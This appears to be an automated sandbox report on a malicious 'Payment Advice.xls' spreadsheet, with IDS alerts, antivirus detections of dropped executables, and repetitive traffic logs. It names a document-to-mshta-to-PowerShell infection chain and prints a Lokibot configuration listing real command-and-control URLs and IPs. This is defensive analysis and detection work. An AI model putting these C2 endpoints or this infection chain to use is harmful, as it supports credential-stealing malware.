2024-11-20T07:57:07.053237+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49177	94.156.177.41	80	TCP
2024-11-20T07:57:08.400152+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.41	80	TCP
2024-11-20T07:57:09.288353+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.41	80	TCP
2024-11-20T07:57:10.533829+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.41	80	TCP
2024-11-20T07:57:11.427592+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.41	80	TCP
2024-11-20T07:57:12.359101+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.41	80	TCP
2024-11-20T07:57:13.469417+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49187	94.156.177.41	80	TCP
2024-11-20T07:57:14.821226+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.41	80	TCP
2024-11-20T07:57:15.719445+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.41	80	TCP
2024-11-20T07:57:16.626398+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.41	80	TCP
2024-11-20T07:57:17.507138+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.41	80	TCP
2024-11-20T07:57:18.365734+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.41	80	TCP
2024-11-20T07:57:19.253733+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.41	80	TCP
2024-11-20T07:57:20.473746+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.41	80	TCP
2024-11-20T07:57:21.599286+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.41	80	TCP
2024-11-20T07:57:25.465376+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.41	80	TCP
2024-11-20T07:57:26.474558+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.41	80	TCP
2024-11-20T07:57:27.353742+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.41	80	TCP
2024-11-20T07:57:28.253668+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.41	80	TCP
2024-11-20T07:57:29.125788+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.41	80	TCP
2024-11-20T07:57:30.114920+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.41	80	TCP
2024-11-20T07:57:30.992768+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.41	80	TCP
2024-11-20T07:57:32.063042+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.41	80	TCP
2024-11-20T07:57:32.925555+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.41	80	TCP
2024-11-20T07:57:33.906030+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.41	80	TCP
2024-11-20T07:57:34.787024+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.41	80	TCP
2024-11-20T07:57:35.655030+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.41	80	TCP
2024-11-20T07:57:36.530041+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.41	80	TCP
2024-11-20T07:57:37.385969+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.41	80	TCP
2024-11-20T07:57:38.245541+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.41	80	TCP
2024-11-20T07:57:39.100304+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.41	80	TCP
2024-11-20T07:57:40.099524+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.41	80	TCP
2024-11-20T07:57:40.957522+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.41	80	TCP
2024-11-20T07:57:41.834157+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.41	80	TCP
2024-11-20T07:57:42.690842+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.41	80	TCP
2024-11-20T07:57:43.687015+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.41	80	TCP
2024-11-20T07:57:44.686743+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.41	80	TCP
2024-11-20T07:57:45.683162+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.41	80	TCP
2024-11-20T07:57:46.572052+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.41	80	TCP
2024-11-20T07:57:47.625431+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.41	80	TCP
2024-11-20T07:57:48.537909+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.41	80	TCP
2024-11-20T07:57:49.537253+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.41	80	TCP
2024-11-20T07:57:50.541403+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.41	80	TCP
2024-11-20T07:57:51.550185+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.41	80	TCP
2024-11-20T07:57:52.571474+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.41	80	TCP
2024-11-20T07:57:53.565464+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.41	80	TCP
2024-11-20T07:57:54.459148+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.41	80	TCP
2024-11-20T07:57:55.316399+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.41	80	TCP
2024-11-20T07:57:56.191793+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.41	80	TCP
2024-11-20T07:57:57.056887+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.41	80	TCP
2024-11-20T07:57:58.063832+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.41	80	TCP
2024-11-20T07:57:59.315019+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.41	80	TCP
2024-11-20T07:58:00.406324+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.41	80	TCP
2024-11-20T07:58:01.402550+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.41	80	TCP
2024-11-20T07:58:02.410939+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.41	80	TCP
2024-11-20T07:58:03.281828+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.41	80	TCP
2024-11-20T07:58:04.153651+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.41	80	TCP
2024-11-20T07:58:05.170720+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.41	80	TCP
2024-11-20T07:58:06.042036+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.41	80	TCP
2024-11-20T07:58:07.032370+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.41	80	TCP
2024-11-20T07:58:08.079653+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.41	80	TCP
2024-11-20T07:58:09.075720+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.41	80	TCP
2024-11-20T07:58:09.961207+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.41	80	TCP
2024-11-20T07:58:10.842151+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.41	80	TCP
2024-11-20T07:58:11.848537+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.41	80	TCP
2024-11-20T07:58:12.738339+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.41	80	TCP
2024-11-20T07:58:13.595288+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.41	80	TCP
2024-11-20T07:58:14.448889+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.41	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Payment Advice.xls

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Avira: detection malicious, Label: HEUR/AGEN.1306899
Source: C:\Users\user\AppData\Local\Temp\~DF6CCF4596F2406470.TMP	Avira: detection malicious, Label: TR/AVI.Agent.xoswb
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306899
Source: C:\Users\user\AppData\Roaming\caspol.exe	Avira: detection malicious, Label: HEUR/AGEN.1306899

Found malware configuration

Source: 00000025.00000002.532965241.00000000025D3000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.41/simple/five/fre.php"]}

Multi AV Scanner detection for submitted file

Source: Payment Advice.xls	ReversingLabs: Detection: 21%
Source: Payment Advice.xls	Virustotal: Detection: 25%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\caspol[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\caspol.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Payment Advice.xls

Joe Sandbox ML: detected

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\greetingwithgreatthignsgivenbackwithentireprocessgivenmeback[1].hta, type: DROPPED

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 198.244.140.41:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.244.140.41:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.244.140.41:443 -> 192.168.2.22:49180 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 198.244.140.41:443 -> 192.168.2.22:49179 version: TLS 1.2

Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.pdbhP source: powershell.exe, 00000005.00000002.454706317.00000000025C3000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.pdb source: powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\zpwvvpvf\zpwvvpvf.pdbhP source: powershell.exe, 0000001F.00000002.519043845.000000000238B000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.pdb source: powershell.exe, 00000005.00000002.454706317.00000000025C3000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\mshta.exe

Source: global traffic	DNS query: name: provit.uk
Source: global traffic	DNS query: name: provit.uk
Source: global traffic	DNS query: name: provit.uk

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 198.244.140.41:443

Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 192.168.2.22:49163 -> 198.244.140.41:443
Source: global traffic	TCP traffic: 198.244.140.41:443 -> 192.168.2.22:49163
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.3.243.136:80 -> 192.168.2.22:49164
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
Source: global traffic	TCP traffic: 192.168.2.22:49164 -> 192.3.243.136:80
